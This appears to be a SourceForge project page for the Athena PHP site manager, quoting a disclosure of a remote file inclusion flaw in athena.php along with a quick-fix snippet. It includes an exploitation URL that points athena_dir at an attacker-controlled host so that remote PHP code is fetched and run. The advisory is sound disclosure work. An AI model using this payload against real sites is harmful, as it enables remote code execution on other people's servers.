A simple website management system written in oo php that uses a mysql database to store user and group rights and the site content.
Be the first to post a text review of athena php website administration. Rate and review a project by clicking thumbs up or thumbs down in the right column.
Edward Z. Yang pointed out that athena is exploitable. Quick fix: in athena.php, add the following code at the top of the file. Another (recommended!) solution is to run php in safe mode. 8< if (!(strpos($athena_dir, "tp://") === false)) { exit; } 8< --Exploit-- Language: PHP Script: Athena Version: 0.1a Official website: http://sourceforge.net/projects/athena Problem: Remote file inclusion Discovered by: beford & ][GB][ Description: =========== A simple website management system written in oo php that uses a mysql database to store user and group rights and the site content. Problem: ======== A remote user can include and execute arbitrary PHP code from the remote location. The problem is in the file "athena.php" for line 1 to 10: include("$athena_dir/headers.php"); include("$athena_dir/classes/debug.php"); include("$athena_dir/classes/mysql.php"); include("$athena_dir/classes/config.php"); include("$athena_dir/classes/page.php"); include("$athena_dir/classes/session.php"); include("$athena_dir/classes/user.php"); include("$athena_dir/classes/error.php"); include("$athena_dir/classes/modules.php"); include("$athena_dir/classes/admin.php"); Exploitation example: =================== http://[target]/path_to_athena/athena.php?athena_dir=http://[attacker_url] Solution: ======== Not solution at this time.
Be the first person to add a text review.
Copyright © 2009 Geeknet, Inc. All rights reserved. Terms of Use
Thanks for your rating!
Would you also like to write a review?